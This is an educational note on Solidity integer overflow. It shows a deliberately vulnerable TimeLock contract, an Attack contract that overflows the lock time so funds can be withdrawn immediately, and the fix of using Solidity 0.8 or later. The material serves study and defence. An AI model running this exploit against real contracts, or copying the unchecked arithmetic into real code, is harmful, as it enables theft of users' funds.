# Smart Contract Security Studies - Overflow and Underflow attacks. Similar to traditional buffer overflow attacks, in solidity, when variables are defined to be the legacy solidity uint type (and not the safe math version from OpenZeppelin), they can be overflown or underflown to reach unintended conclusions or chunks of code. **Note: Only applicable to Solidity < 0.8, as Solidity >= 0.8 will default to an error** ### Vulnerable Contract In the contract below the lockTime variable can be maliciously manipulated to allow an attacker to immediately withdraw funds, when they should only be able to after a week (see below): ```solidity // The following happens upon depositing any amount into the vulnerable contract. lockTime[msg.sender] = block.timestamp + 1 weeks; ``` This works by using the `increaseLockTime` function to increase the lockTime variable past `2**256-1`, which would then overflow the value into 0, meaning the attacker could withdraw their funds again immediately. ![](https://i.imgur.com/MWQikHA.png) ```solidity pragma solidity ^0.7.6; contract TimeLock { mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; } function withdraw() public { require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } } ``` ### Exploit ```solidity pragma solidity ^0.7.6; contract Attack { TimeLock timeLock; constructor(TimeLock _timeLock) { timeLock = TimeLock(_timeLock); } fallback() external payable {} function attack() public payable { timeLock.deposit{value: msg.value}(); /* if t = current lock time then we need to find x such that x + t = 2**256 = 0 so x = -t 2**256 = type(uint).max + 1 so x = type(uint).max + 1 - t */ timeLock.increaseLockTime( type(uint).max + 1 - timeLock.lockTime(address(this)) ); timeLock.withdraw(); } } ``` ### How to prevent This attack can be prevented by using solidity >= 0.8. ### Resources - https://www.youtube.com/watch?v=zqHb-ipbmIo